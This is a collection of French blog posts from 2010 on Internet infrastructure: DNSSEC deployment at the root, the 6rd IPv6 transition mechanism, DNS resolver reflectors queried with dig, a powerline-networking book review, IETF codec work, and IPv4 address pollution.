Mais Beaudoin-Lafon a l'air de dire que ces coûts sont obligatoires et incompressibles. Ce n'est pas le cas. Personne n'a demandé à l'ACM ou à toute autre institution scientifique de tout publier sur son propre budget, sur une plate-forme ultra-rapide, avec des logiciels très perfectionnés. Ce qui est demandé aux éditeurs est de permettre un accès libre (Beaudoin-Lafon suggère, à juste titre, des licences de type Creative Commons). Une fois que cet accès est fourni, même sur un petit serveur surchargé et avec zéro fonction de recherche intéressante dans les articles, le Web 2.0 fera le reste. Des centaines de gens dans le monde ne demandent pas mieux que d'héberger gratuitement des copies de telles bibliothèques numériques, de développer des outils de recherche perfectionnés, etc. Il y aura même une participation du secteur privé (Google et Bing fourniront un moteur de recherche gratuit, du moment que le contenu est accessible).

C'est le principal manque de l'article « Viewpoint: Open Access to scientific Publications » : il considère comme acquis que le public est un réceptacle passif d'information et que l'émetteur (ACM, PLOS, etc) doit donc lui fournir un système complètement fini et de qualité parfaite. L'Internet nous a appris le contraire : si on publie un travail brut, peu fini, des tas de gens ne demandent pas mieux, si la licence le permet, de le perfectionner et d'en faire un outil qui concurrence les services traditionnels.

L'émetteur devrait donc se concentrer sur ce qu'il fait bien (Beaudoin-Lafon cite la question cruciale de la permanence de l'accès, là où un blog individuel peut disparaître du jour au lendemain) et ne pas dépenser « des millions de dollars » dans des projets pharaoniques. Publier des données sous un format ouvert, structuré (pour le Web des données), sous une licence libre, et le reste se fera tout seul.

J'avais défendu une telle position à l'UIT des années avant que cette organisation dinosaurienne ne publie ses normes gratuitement et les « experts » de l'UIT avaient tous trouvé cette idée ridicule, donnant comme principal argument qu'on ne pouvait pas se contenter de publier les normes, il fallait forcément payer une SSII très cher pour développer une usine à gaz logicielle tout autour. À leur décharge, ils écrivaient cela avant le Web 2.0, Wikipédia et le Web des données. Aujourd'hui, on sait qu'on n'est pas tout seul, qu'on n'est pas obligés de tout faire et que la « communauté » peut aider.

Merci à Catherine Letondal pour m'avoir signalé cet intéressant article.


L'article seul

Fiche de lecture : Réseaux CPL par la pratique

Auteur(s) du livre : Xavier Carcelle
Éditeur : Eyrolles
978-2-212-11930-5
Publié en 2006
Première rédaction de cet article le 2 février 2010


Il existe peu de livres sur les CPL et je crois que celui-ci est le seul en français (une bibliographie des équivalents en anglais figure à la fin de l'ouvrage). Cette technique est en général sous-estimée et beaucoup de déploiements de réseaux locaux ou distants ne l'envisagent même pas. Pourtant, elle a de nombreuses propriétés intéressantes. (J'ai décrit mon utilisation dans « CPL (Courants porteurs en ligne) à la maison ».)

Comprendre les CPL nécessite des compétences en électricité, en informatique et en réseaux. Ce livre a donc un vaste champ à couvrir. Je vais commencer par ce qui est le moins bien couvert : la partie sur la configuration d'IP est faible (chapitres 10 et 11), surtout composée de copies d'écran (qui permettent de remplir les pages à bon marché). Même les commandes tapées dans un xterm sont montrées sous forme de copie d'écran, intéressant paradoxe. Cette partie « réseaux » contient des archaïsmes étonnants pour un livre récent (comme la discussion des classes, supprimées onze ans avant la parution du livre, ou comme la commande ipchains de Linux, complètement remplacée par iptables depuis belle lurette). Par contre, IPv6, technologie stable depuis longtemps, ne fait l'objet d'aucune mention, alors qu'elle est particulièrement utile dans le cas des réseaux domestiques, où on a plusieurs objets à connecter et jamais assez d'adresses IPv4.

D'un autre côté, j'ai apprécié que l'auteur fasse un effort pour ne pas parler uniquement de MS-Windows, comme tant de livres « pour les nuls ». Il y a même une discussion de la configuration d'un réseau sur FreeBSD, ce qui est rare pour un ouvrage destiné à un public assez large. Mais, globalement, toutes les parties du livres consacrées à IP donnent l'impression que l'éditeur a demandé qu'on en parle, mais que l'auteur n'était pas le plus à l'aise sur ce sujet.

Et sur l'électricité ? Étant plutôt rouillé sur ce sujet, mes cours de physique étant assez lointains, j'espérais une révision mais j'ai été un peu déçu. Le livre suppose qu'on s'y connait déjà en électricité et qu'on n'a pas besoin de se faire expliquer trop longuement l'impédance ou la capacité (chapitres 2 et 8).

Une des difficultés qui se dressent sur le chemin de l'auteur d'un livre sur les CPL est que le domaine est peu normalisé (chapitre 1). S'il existe un consortium industriel nommé Homeplug qui édicte des spécifications de base pour les CPL domestiques, il n'y a pour l'instant aucune norme réelle (produite par exemple par l'IEEE). Résultat, l'auteur est souvent obligé de présenter des techniques spécifiques à un constructeur. Mais il a fait l'effort de ne privilégier aucun constructeur et de bien préciser ce qui est « standard » et ce qui ne l'est pas.

Par exemple, même avec Homeplug, la configuration des adaptateurs est entièrement faite par des protocoles non-standard. Il existe toutefois des interfaces communes qui commencent à émerger et c'est dans ce livre (chapitre 9) que j'ai appris l'existence de l'excellent outil plconfig qui marche bien sur ma Debian :

% plconfig -r eth1

- Parameters and Statistics response from 00:0c:b9:09:b7:ed
  Tx ACK Counter:             45547
  Tx NACK Counter:            18848
  Tx FAIL Counter:            5
  Tx Contention Loss Counter: 33611
  Tx Collision Counter:       13485
  Tx CA3 Latency Counter:     3463
  Tx CA2 Latency Counter:     34789
  Tx CA1 Latency Counter:     4109
  Tx CA0 Latency Counter:     0
  Rx Cumul. Bytes per 40-symbol Packet Counter: 13628962
...

Pour les explications des compteurs, la meilleure source que j'ai trouvée en ligne est la MIB de Homeplug (même si on n'utilise pas SNMP). L'adresse MAC indiquée au début (ici, 00:0c:b9:09:b7:ed), indique l'adaptateur en question. Cette adresse est souvent imprimée sur ledit adaptateur et, si ce n'est pas le cas, il faut faire des essais (débrancher les adaptateurs un à un en lançant plconfig -r jusqu'à les avoir tous identifiés). Ses premiers chiffres indiquent le fabricant. 00:08:ed est une puce Motorola (utilisée chez CMM), 00:0c:b9 une Lea et 00:30:0a une Aztec (utilisée par Bewan).

La partie « couche 2 » est bien meilleure (chapitres 3 et 5), avec une intéressante discussion des différents modes de communication entre adaptateurs CPL (du pair-à-pair de Homeplug au mode maître-esclave), et une présentation détaillée les mécanismes d'accès au réseau (CSMA/CA, dont il oublie toutefois de noter que c'est un terme marketing : il y a aussi des collisions en CSMA/CA, voir le compteur Tx Collision Counter plus haut, et la variable transmitCollisionCounter de la MIB).

J'ai aussi apprécié la section sur le rayonnement radio des CPL (chapitre 8) ou bien le chapitre 12 sur la création d'un réseau CPL pour une collectivité locale, même si ce dernier restera purement théorique pour moi.

Du fait de l'intérêt des technologies CPL, et du petit nombre de documents existants, je ne regrette pas d'avoir acheté ce livre et je remercie l'auteur pour l'effort qu'il a fait pour diffuser de l'information sur une technique peu connue. Mais je pense quand même qu'il reste de la place pour un livre plus pédagogique.


L'article seul

Début du processus de diffusion des signatures de la racine DNS

Première rédaction de cet article le 28 janvier 2010


Pendant que les moutons fidèles de Steve Jobs se pressaient pour le voir présenter un nouvel engin ultra-fermé et contrôlé par Apple, un autre évenement suscitait de nombreux articles (moins nombreux, quand même), le début de diffusion des signatures par les serveurs racines du DNS. Ce processus avait été annoncé en octobre dernier et, jusqu'à présent, suit à peu près son cours.

Hier soir (heure française), un serveur racine a commencé à diffuser des informations signées avec DNSSEC. C'est L.root-servers.net, géré par l'ICANN qui s'y est collé pour être le premier. Le déploiement progressif (jusqu'en juillet), permet aux administrateurs réseaux de vérifier leur configuration, même si eux-mêmes ne font pas de DNSSEC. Ils doivent en effet s'assurer que leur réseau laisse passer les réponses DNS de grande taille.

Les autres serveurs racines suivront petit-à-petit, selon le plan publié sur le site officiel (le serveur A a suivi le 10 février.) En mai, certains des réseaux qui ont une configuration boguée (bloquant les résponses supérieures à 512 octets ou bien ne gérant pas la fragmentation) n'auront plus d'accès au DNS.

Quelques observations amusantes ou intéressantes. La réponse envoyée par L.root-servers.net atteint désormais dans les 600 octets pour une question typique (celle qui mène à une référence vers un TLD, par exemple dig AAAA www.bortzmeyer.fr), mais 1900 octets si on demande toutes les informations (dig ANY .). À cause de la taille des enregistrements NSEC, les demandes pour les TLD inexistants sont un peu plus grosses que les références (dans les 650 octets). Et la requête initiale des résolveurs (priming), dig NS ., atteint maintenant 800 octets.

Comme annoncé, la clé publiée n'est pas celle de signature et on ne peut donc pas encore valider la racine :


% dig +dnssec +multi @L.root-servers.net DNSKEY .

; <<>> DiG 9.5.1-P3 <<>> +dnssec +multi @L.root-servers.net DNSKEY .
; (2 servers found)
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 47275
;; flags: qr aa rd; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;.			IN DNSKEY

;; ANSWER SECTION:
.			86400 IN DNSKEY	256 3 8 (
				AwEAAa1Lh++++++++++++++++THIS/IS/AN/INVALID/
				KEY/AND/SHOULD/NOT/BE/USED/CONTACT/ROOTSIGN/
				AT/ICANN/DOT/ORG/FOR/MORE/INFORMATION+++++++
				+++++++++++++++++++++++++++++++++++++++++++8
				) ; key id = 23763
.			86400 IN DNSKEY	257 3 8 (
				AwEAAawBe++++++++++++++++THIS/IS/AN/INVALID/
				KEY/AND/SHOULD/NOT/BE/USED/CONTACT/ROOTSIGN/
				AT/ICANN/DOT/ORG/FOR/MORE/INFORMATION+++++++
				++++++++++++++++++++++++++++++++++++++++++++
				++++++++++++++++++++++++++++++++++++++++++++
				++++++++++++++++++++++++++++++++++++++++++++
				++++++++++++++++++++++++++++++++++++++++++++
				++++++++++++++++++++++++++++++++++++++8=
				) ; key id = 19324
.			86400 IN RRSIG DNSKEY 8 0 86400 20100204235959 (
				20100121000000 19324 .
				NO9bHgWYB3wQlVZXQKwDGUjTgIyfz1i8aWH8nBlT5isn
				Ybr6PTfR4fWlSx8+avFfR0fVekauaQelKOyiUav4H9Y1
				AZ2OBguu7RjozQu1qErKboWd1NglIIOGar0Ol4Ur9+4b
				o2LSxjp/X4ESypW0lX04z5uB6DZZei1zafzRGUnLIMdV
				9xdKEOJrm9UCKvYK5g8bjRq8KA8vT+pidexZMrBQ3ie8
				R9daf/s6VK7zUJK0jF1vqhPbZFSQmBpJUlxh4VnOv7nn
				hcq4Moj49wqmNxKRqfvSwHAJBG6dEgShnlu/rfVsdxfF
				UCjIGX8YnSC7lYqODwgUGh+i/arAAK+bzg== )

;; Query time: 135 msec
;; SERVER: 2001:500:3::42#53(2001:500:3::42)
;; WHEN: Thu Jan 28 09:31:22 2010
;; MSG SIZE  rcvd: 736

Plusieurs organisations ou personnes ont déjà publiées d'intéressantes statistiques. Par exemple, l'OARC a publié « L-Root now serving "DURZ" signed responses » avec des jolis graphiques qui montrent notamment :

  • L'augmentation de taille des réponses au priming, de 630 (en moyenne) à 760 (en moyenne, c'est moins que ce que je mesure car certains résolveurs demandent sans EDNS, cf. RFC 2671),
  • Un bond considérable des requêtes en TCP, venant des résolveurs qui, bêtement, n'utilisent pas EDNS et récupèrent donc des réponses tronquées. Mais le pourcentage reste négligeable)

L'ICANN rend aussi publiques les statistiques de son serveur racine et on peut voir en http://stats.l.root-servers.org/ (attention, il y a trois sites physiques, prg, mia et lax3) que rien n'a cassé.


L'article seul

L'IETF commence le travail sur un codec audio libre

Première rédaction de cet article le 27 janvier 2010


L'IETF vient de créer un groupe de travail sur le création d'un codec audio libre. Le groupe Internet Wideband Audio Codec (dit simplement codec) commence ainsi une existence qui sera certainement agitée.

Le projet de création de ce groupe avait été un des points chauds de la réunion IETF d'Hiroshima en novembre 2009. Suivant cette réunion, de très longs débats avaient eu lieu en ligne, et ont mené, le 26 janvier, à l'annonce par l'IESG de la création de ce groupe, membre du secteur « Applications et infrastructure temps-réel ». Ses présidents sont Michael Knappe et Peter Saint-Andre (M. XMPP).

Quel est le problème à résoudre ? Il existe un grand nombre de codecs pour le son. Aucun n'est particulièrement enthousiasmant pour l'IETF et cela rend plus difficile le fonctionnement d'applications sonores sur l'Internet. L'IESG pointe trois gros points qu'aucun des codecs existants ne satisfait complètement :

  • Optimisé pour les applications interactives (comme la téléphonie), au contraire de, par exemple, MP3, optimisé pour le téléchargement,
  • Publié par une SDO ouverte (au contraire, là encore, de MP3, contrôlé par une organisation privée) de manière à ce que les évolutions du codec n'échappent pas à la communauté,
  • Format libre, implémentable par tous (MP3 est pourri de brevets). Cela sera certainement un des points les plus délicats, compte-tenu du nombre de brevets, et de la difficulté (ou du coût) à obtenir une licence pour les codecs existants.

Résultat, bâtir une application ou un service utilisant le son sur l'Internet reste encore trop difficile. Les services les plus répandus sont en général fermés (comme l'ultra-contrôlé Skype).

La charte du groupe est donc la création d'un codec combinant ces trois qualités. Il est probable qu'il faudra le développer en partant de zéro, mais la charte n'exclut pas la possibilité d'adopter un codec existant, si on trouve le mouton à cinq pattes. (Je ne m'y connais pas assez pour déterminer si Vorbis ou Speex sont des bons candidats.)

Les exigences techniques impliquent notamment une bonne adaptation aux protocoles interactifs (avec, par exemple, adaptation dynamique de la qualité sonore à la capacité réseau disponible), et une bonne interaction avec les protocoles IETF existants comme RTP et SIP.

Le travail devra se faire en liaison avec l'UIT, notamment son Study Group 16, avec l'idée de tenter une publication commune de la future norme. Le résultat n'est pas garanti car les précedentes collaborations entre l'IETF et l'UIT ont parfois été orageuses (cf. RFC 5704).

Mais les brevets seront certainement le principal obstacle sur le chemin du futur codec, le monde de l'audio étant truffé de brevets futiles, acceptés par des offices des brevets paresseux, incompétents ou simplement intéressés à ce que le maximum de brevets soit déposé. La charte du groupe de travail prévoit, en cohérence avec les RFC 5378 et RFC 8179, de donner la priorité à un codec non encombré par des brevets.

Le calendrier de développement prévu est assez ambitieux, vue l'ampleur du projet (et l'IETF n'est pas connue pour le respect des calendriers...). Il est prévu que le gros du travail technique soit terminé à l'été 2011.

Quels étaient les problèmes qui ont suscité tant de discussions à l'IETF ? Il y avait la crainte que des codecs existants soient écartés d'avance au profit de la tâche lourde et complexe du développement d'un nouveau codec (d'où la mention dans la charte qu'un codec existant peut être utilisé, s'il correspond au cahier des charges, d'autant plus que la situation peut changer, par exemple sur la question de la politique de licence). Il y a eu aussi un gros débat sur la possibilité de produire un codec meilleur que tous les existants, tout en le gardant libre (cela parait irréaliste). Et, bien sûr, il y a eu de longues polémiques sur la politique de l'IETF par rapport aux brevets...

Le premier RFC produit par le groupe a été le cahier des charges, RFC 6366, en août 2011. Le second a été la description des règles de développement, le RFC 6569 en mars 2012. Le troisième, en septembre 2012, a été le codec final, Opus (RFC 6716).


L'article seul

Un nouvel éditeur pour les RFC

Première rédaction de cet article le 26 janvier 2010


Le 12 janvier, discrètement, l'une des fonctions les plus anciennes de l'Internet, celle d'éditeur des RFC, a changé de main.

Depuis le début (le RFC 1 date de 1969), la fonction de « RFC editor », le relecteur, le publicateur et le gardien de ces textes sacrés de l'Internet était à l'ISI, d'abord sous la forme d'une personne, Jon Postel, puis sous celle d'un petit groupe (l'ISI a récemment publié un bilan de son action). Un mécanisme d'abord assez informel, assuré avec sérieux (et conservatisme) par des gens connus et jouissant de la confiance de l'IETF. Désormais, suite à un appel d'offres, la fonction est plus classiquement traitée par une organisation qui a reçu formellement la délégation : AMS, une organisation spécialisée dans la gestion de SDO dans le monde des réseaux informatiques (mais il y avait d'autres candidats).

Le premier RFC publié par le nouvel éditeur a été le RFC 5735, suivi depuis par de nombreux autres.


L'article seul

Veille sur l'Internet

Première rédaction de cet article le 26 janvier 2010


Le 26 janvier à l'AFNIC, j'ai participé à un séminaire sur la « Veille sur l'Internet ». J'ai surtout insisté sur la distinction entre la source (la personne ou organisation qui émet l'information), le canal (le mécanisme par lequel l'information est transportée) et l'outil (le logiciel utilisé pour la visualisation). Comprendre les différences et les articulations entre ces trois concepts permettrait de mieux évaluer l'information reçue et éviterait de dire (comme je l'ai parfois entendu) « Je l'ai lu sur Internet », voire « Je l'ai lu sur Google ».

Mais j'ai aussi parlé des outils et il y a même eu la traditionnelle démo à la fin, avec Liferea et pidgin. Voici les transparents présentés :


L'article seul

Trouver l'adresse IP de son serveur de noms

Première rédaction de cet article le 24 janvier 2010
Dernière mise à jour le 24 janvier 2011


Je cherche un moyen de trouver l'adresse IP avec laquelle mon serveur de noms interroge le monde extérieur. C'est bien plus compliqué que cela n'en a l'air.

Lorsque j'appelle www.example.org, l'application que j'utilise (que ce soit Firefox ou curl) fait appel (en général via le sous-programme getaddrinfo()) à un résolveur DNS ; sur Unix, son adresse est trouvé dans /etc/resolv.conf. Il y a des fois où j'aimerai bien savoir quelle adresse utilise ce résolveur pour interroger les serveurs faisant autorité. On ne peut pas simplement prendre l'adresse qui se trouve dans /etc/resolv.conf pour au moins trois raisons :

  • Le résolveur peut faire appel à un autre résolveur (appelé un forwarder ; avec BIND, c'est le nom de la directive qui sert à configurer un tel « résolveur supérieur »).
  • Le résolveur peut être derrière un routeur NAT, qui va changer son adresse.
  • Le résolveur n'utilise pas forcément la même adresse pour les requêtes sortantes et les requêtes entrantes.

Je vois trois façons possibles de trouver l'adresse utilisée par la résolution de noms :

  • Regarder sa configuration en détail, notamment des directives comme forwarder et query-source sur BIND. Cela ne marche que si on accès à cette configuration, ce qui n'est pas le cas de tout le monde.
  • Sur une zone qu'on contrôle, écouter le trafic (par exemple avec tcpdump) sur tous les serveurs de noms faisant autorité et faire une requête pour nexistepas.MAZONE (il vaut mieux utiliser un nom non existant pour ne pas risquer qu'il soit dans le cache d'un résolveur). Cela oblige à avoir une zone dont on contrôle tous les serveurs de noms et ce n'est pas très pratique.
  • Avoir quelque part une zone spécialement configurée pour servir de réflecteur qui, aux requêtes DNS, renvoie l'adresse IP du client qui l'a interrogé. C'est de loin la meilleure méthode.

Mais un tel service existe t-il ? Aucun serveur de noms standard ne sait faire cela, il faut donc écrire un serveur adapté. Par manque de temps, je cherche un service déjà existant.

Le premier testé est celui créé par l'OARC pour un tout autre but, replysizetest et disponible en rs.dns-oarc.net et rs.ripe.net. Ignorons le but principal de ce service, ce qui m'intéresse ici est qu'il donne l'adresse IP de son client DNS. Ainsi, depuis Free, j'obtiens :

% dig +short TXT rs.dns-oarc.net  
...
"213.228.63.32 sent EDNS buffer size 4096"

donc le résolveur de Free sort avec l'adresse IP 213.228.63.32. Et Google DNS :

% dig +short TXT rs.dns-oarc.net             
...
"209.85.228.94 lacks EDNS, defaults to 512"

On voit qu'il n'utilise pas en sortie les fameuses 8.8.8.8 et 8.8.4.4.

À noter qu'il fonctionne également avec IPv6 (contrairement à ce que j'avais écrit dans une précédente version de l'article).

À noter également que l'OARC a un outil équivalent qui avait également été fait dans un autre but (détecter les résolveurs vulnérables à la faille Kaminsky) et qui peut également être « détourné » pour nos recherches :

% dig +short porttest.dns-oarc.net TXT

porttest.y.x.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.pt.dns-oarc.net.
"192.134.4.162 is GREAT: 26 queries in 3.9 seconds from 8 ports with std dev 21270"

Même chose pour le service de test des résolveurs ouverts (merci à Nicolas Aupetit) :

% dig +short amiopen.openresolvers.org TXT
"Your resolver at 192.134.7.248 is CLOSED"

Ce service est-il une solution parfaite ? Outre qu'il est un peu lent car il fait bien autre chose que renvoyer l'adresse IP, je regrette qu'il ne puisse pas renvoyer une adresse binaire (en réponse à une question de type A ou AAAA).

Les entreprises qui font du load-balancing ont souvent des noms qu'on peut résoudre dans le DNS pour obtenir l'adresse IP du résolveur, à des fins de débogage. C'est le cas de whoami.ultradns.net et de whoami.akamai.net. Ces deux services ont l'avantage de renvoyer l'adresse IPv4 en binaire (il faut donc faire une requête de type A et pas TXT), ce qui est pratique. Celui d'UltraDNS a l'inconvénient de planter complètement avec des adresses IPv6 (renvoyant NXDOMAIN au lieu du normal NODATA, ce qui est une bogue énorme


% dig AAAA whoami.ultradns.net
...
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 51301
...

mais celui d'Akamai semble bien marcher.

D'un modèle analogue est celui de Cloudfront, resolver-identity.cloudfront.net (types A et TXT).

Encore mieux, le service de Cedexis (merci à Stéphane Enten), 1-01-2743-000d.cdx.cedexis.net. Si le nom est un peu bizarre (le service ne semble pas encore stabilisé et plante parfois), le réflecteur marche très bien, renvoyant un CNAME vers un nom qui code le client, indiquant même le numéro d'AS :

% dig +short A 1-01-2743-000d.cdx.cedexis.net
client-ip-208.75.84.80--client-asn-23372.

Enfin, le meilleur service (notamment parce qu'il marche correctement avec IPv6) : myresolver.info (merci à Nicolas Aupetit). On peut l'utiliser en visitant simplement la page Web, grâce à d'astucieuses redirections, ou bien via dig :

% dig +short ANY self.myresolver.info 
2001:db8:1f10:3aa::2

Finalement, j'ai écrit un logiciel pour le faire moi-même, Drink. Une instance est installée en ip.dyn.bortzmeyer.fr.


L'article seul

RFC 5569: IPv6 Rapid Deployment on IPv4 infrastructures (6rd)

Date de publication du RFC : Janvier 2010
Auteur(s) du RFC : R. Després
Pour information
Première rédaction de cet article le 24 janvier 2010
Dernière mise à jour le 3 septembre 2010


Contrairement à ce que prétendent certains ignorants, la délicate question de la période de transition entre IPv4 et IPv6 n'a jamais été négligée à l'IETF. Bien au contraire, plusieurs mécanismes ont été normalisés pour assurer le passage d'un protocole à l'autre. Le mécanisme « RD », décrit dans ce RFC 5569, est un de ces mécanismes, modifiant le 6to4 du RFC 3056 pour garantir un chemin de retour symétrique aux paquets IP. RD permet à un FAI de vendre un service IPv6 alors que son réseau interne est essentiellement IPv4. Il est surtout connu pour être la technologie déployée par Free à partir de décembre 2007.

S'il existe plusieurs mécanismes de coexistence d'IPv4 et d'IPv6, c'est parce que les besoins sont différents. Certains FAI ont un réseau interne entièrement IPv6 depuis de nombreuses années comme Nerim. D'autres n'ont pas encore commencé le déploiement. Parfois, le FAI est en avance sur ses clients, parfois c'est le contraire comme c'était le cas pour Free où de nombreux utilisateurs réclamaient IPv6 depuis longtemps. Il existe donc une variété de techniques de coexistence v4/v6. RD se positionne pour le cas où le FAI :

  • n'a toujours pas migré la totalité de son réseau interne en IPv6,
  • a une connectivité IPv6 externe, et des adresses IPv6 allouées par un RIR,
  • a certains clients qui réclament une connectivité IPv6,
  • et, de préférence, contrôle le routeur situé chez les clients (cas des « boxes »).

La section 1 du RFC décrit ainsi comment Free a migré vers 6RD fin 2007 (un autre compte-rendu a été fait par Alexandre Cassen à la réunion RIPE-58 à Amsterdam). Il a fallu mettre à jour le logiciel de la Freebox et ajouter des serveurs relais 6RD en sortie mais il n'a pas été nécessaire de toucher aux DSLAM (qui ne gérent malheureusement pas IPv6).

La section 2 revient plus en détail sur le cahier des charges : casser le cercle vicieux courant avec IPv6 où les FAI n'installent pas IPv6 parce que leurs clients ne le demandent pas et où les clients ne se mettent pas à IPv6 parce que peu de FAI le transmettent. Le protocole « idéal » semblait être 6to4 du RFC 3056. Simple, déjà mis en œuvre, y compris en logiciel libre et sans état (chaque paquet est traité indépendamment) donc passe bien à l'échelle. Mais il a des limites, notamment le fait le retour du paquet n'est pas garanti : la machine avec laquelle on communique va chercher son propre relais 6to4 et ne va pas forcément en trouver un. RD est une modification de 6to4 pour utiliser comme préfixe, non plus le préfixe 6to4 commun à tous de 2002::/16 mais un préfixe par FAI. Ainsi, le FAI doit désormais lui-même installer des relais, il ne peut plus se reposer sur les relais existants mais, en contre partie, il contrôle complètement le routage, y compris sur le chemin du retour et se retrouve ainsi dans un cas plus classique où ses routeurs servent ses clients (alors que, avec 6to4, tout le monde sert tout le monde, ce qui est très bien lorsque cela marche).

On peut se poser la question de savoir s'il s'agit vraiment d'IPv6 « natif ». Sans doute pas (le paquet circule dans le réseau de Free encapsulé IPv4, ce qui réduit la MTU à 1480 octets).

Une fois ce principe posé, la section 3 spécifie le protocole, très proche du 6to4 du RFC 3056. Les acteurs sont :

  • Les machines sur le réseau local du client, elles parlent IPv6 nativement sur ce réseau local (si elles utilisent l'auto-configuration sans état, la Freebox leur a envoyé le préfixe par RA),
  • Les CPE (la Freebox, chez Free), qui doivent parler 6RD pour traduire dans les deux sens,
  • Les relais 6RD, en bordure du réseau du FAI. Chez Free, ce sont des PC Unix (qui devraient être remplacés par des Cisco fin 2010).

6to4 soulève traditionnellement des gros problèmes de sécurité, documentés dans le RFC 3964. 6RD en supprime certains, si l'implémentation suit les recommandations de la section 5, et effectue les vérifications demandées, mais l'usurpation d'adresse IP demeure relativement facile.

Le déploiement de 6RD chez Free a permis à la France de faire un bond dans les statistiques IPv6 comme l'a montré le rapport de Lorenzo Colitti (Google), Global IPv6 Statistics - Measuring the Current State of IPv6 for Ordinary Users.

Mais la normalisation de 6RD est aussi l'occasion de voir le processus IETF en action, lorsque l'auteur de la proposition n'est pas un habitué de l'IETF et n'a pas la culture « maison », ce qui était le cas de Rémi Després, un des concepteurs de Transpac, et qui a eu le courage de se plonger dans un monde bien différent, ce qui est toujours plus difficile que de rester seul dans son coin à expliquer qu'on a raison. Comme avec n'importe quelle organisation humaine, l'intégration du « petit nouveau » ne s'est pas fait sans mal mais, finalement, le RFC a été publié.

(Petite note au passage: ce RFC n'a que le statut de « Pour information » et la « vraie » norme IETF sur ce protocole n'apparaitra que plus tard. Notre RFC 5569 décrit le déploiement actuel, un « meilleur » protocole a été ensuite spécifié dans le RFC 5969.)

Il est resté de nombreux mois dans la file d'attente du RFC Editor, en raison de son statut de « soumission indépendante », dont les droits n'ont pas été définis avant le RFC 5744. Mais l'approbation technique était ancienne, datant d'avril 2009. Comme l'avait signalé l'auteur, dans son coup de gueule en séance plénière de l'IETF à Hiroshima en novembre 2009, « Ce RFC décrit comment déployer IPv6 en cinq semaines et voilà cinq mois qu'il attend, pour des raisons non-techniques. »


Téléchargez le RFC 5569


L'article seul

Les heureux titulaires du réseau 1 vont-ils souffrir ?

Première rédaction de cet article le 22 janvier 2010
Dernière mise à jour le 25 juillet 2010


L'IANA vient d'allouer deux préfixes IPv4 à l'APNIC, les 1.0.0.0/8 et 27.0.0.0/8. Comme l'a noté le NRO, cela rapproche dangereusement de la fin des adresses IPv4. Mais un autre point a été moins traité : ces adresses ne vont-elles pas poser des problèmes à leur titulaire ?

En théorie, une adresse IP n'est qu'une série de chiffres. Elles devraient donc toutes être équivalentes. Mais, en pratique, ce n'est pas le cas. Certaines adresses valent plus que d'autres. Ici, le problème potentiel avec 1.0.0.0/8, comme discuté sur Nanog est que ces adresses sont simples et jolies. Cela pourra permettre à leur titulaire de parader mais cela augmente aussi le risque de collision : des tas de cours ont été écrits où l'adresse IP d'exemple est 1.2.3.4 (ils auraient dû utiliser les adresses du RFC 5735) et on ne sait pas combien d'équipements ont été configurés avec cette adresse, ou combien de sites ont stupidement utilisé ce préfixe pour la partie privée de leur réseau... (Cela a déjà été fait par des incompétents comme les gens d'anoNet ou, pour un autre préfixe qui va bientôt être distribué, par ceux, tout aussi stupides, de Hamachi.) Notez au passage que le choix des deux préfixes qui viennent d'être alloués a été fait au hasard, selon la méthode du RFC 2777, justement pour tenir compte de cette inégalité des adresses.

Comme l'a dit Alain Durand dans la discussion Nanog « L'eau à la fin du tonneau (d'adresses IPv4) est moins propre »...

Un autre article allant en ce sens est celui de Marc Blanchet, qui donne la liste des dix /8 les plus souvent « piqués ». D'autres rapports (comme celui du Canadian IPv6 Task Group) ont déjà insisté sur le fait que la plupart des adresses IPv4 non officiellement allouées sont sans doute déjà utilisées en douce. Sur le même sujet, un bon article d'Andree Toonk, « Issues with allocating from 1.0.0.0/8 » qui, en se basant sur l'analyse des annonces BGP des derniers mois, montre que le problème est réel, et une excellente étude du RIPE montrant à quel point certaines parties de 1.0.0.0/8 sont polluées. L'ICANN a également sonné l'alarme et appelé à d'avantage d'études. Une excellente étude très détaillée a finalement été produite par l'APNIC, « Traffic in Network 1.0.0.0/8 ». Plus tard, une étude analogue a été réalisée sur les réseaux 14.0.0.0/8 et 223.0.0.0/8 montrant que, si tous les réseaux non alloués reçoivent du trafic (dans les 20 Mb/s pour ces deux réseaux), celui-ci est loin d'atteindre les chiffres du réseau 1 (ce dernier attire plus de 150 Mb/s).

Cette dernière étude montrait aussi qu'une bonne partie du trafic venait uniquement de 223.1.1.128, adresse (stupidement) utilisée par défaut par le produit Sonicwall Global VPN Client. Au fur et à mesure que les dernières adresses IPv4 sont allouées, on tombe de plus en plus sur des adresses « sales », déjà utilisées (on devrait dire « squattées ») par des entreprises incompétentes.


L'article seul

Quelques pensées de Bernstein sur la sécurité...

Première rédaction de cet article le 22 janvier 2010


En 2007 est paru l'article « Some thoughts on security after ten years of qmail 1.0 », de Dan Bernstein, sur la sécurité des logiciels. Comme toujours avec cet auteur, l'article mélange bonnes idées, mauvaises idées et franche mauvaise foi.

Bernstein n'a pas changé sur un point, la malhonnêteté intellectuelle. Ainsi, en discutant de la sécurité des MTA, il tape uniquement sur sendmail, qui n'est plus guère utilisé sur les nouveaux sites, et ne dit pas un mot de Postfix, Exim ou Courier. Et pour cause, cela démolirait sa thèse comme quoi qmail est le seul MTA sûr...

D'autre part Bernstein se vante lourdement et tout le temps du défi de sécurité qu'il avait lancé pour qmail en mars 1997 : le principe est d'offrir une récompense monétaire à celui qui trouvera une faille de sécurité dans qmail. La récompense attend toujours qu'on la réclame. Mais ce genre de défis ne vaut pas grand'chose. D'une part, l'absence de signalement peut indiquer l'absence d'intérêt et pas l'absence de bogue (c'est courant pour les logiciels peu utilisés). Mais, surtout, ce genre de défis est en général soumis à des règles fixées par l'auteur et soigneusement conçues pour qu'on ne puisse jamais s'y conformer. Ainsi, le défi de sécurité qmail exclut les attaques par déni de service, de loin les plus fréquentes. Cela me rappelle un contrat de maintenance d'une entreprise privée pour s'occuper d'un serveur Windows où le contrat excluait les dommages liés aux virus. Exclure les conséquences des virus de l'administration d'une machine Windows, c'est comme exclure les dégâts des eaux du contrat de maintenance d'un sous-marin...

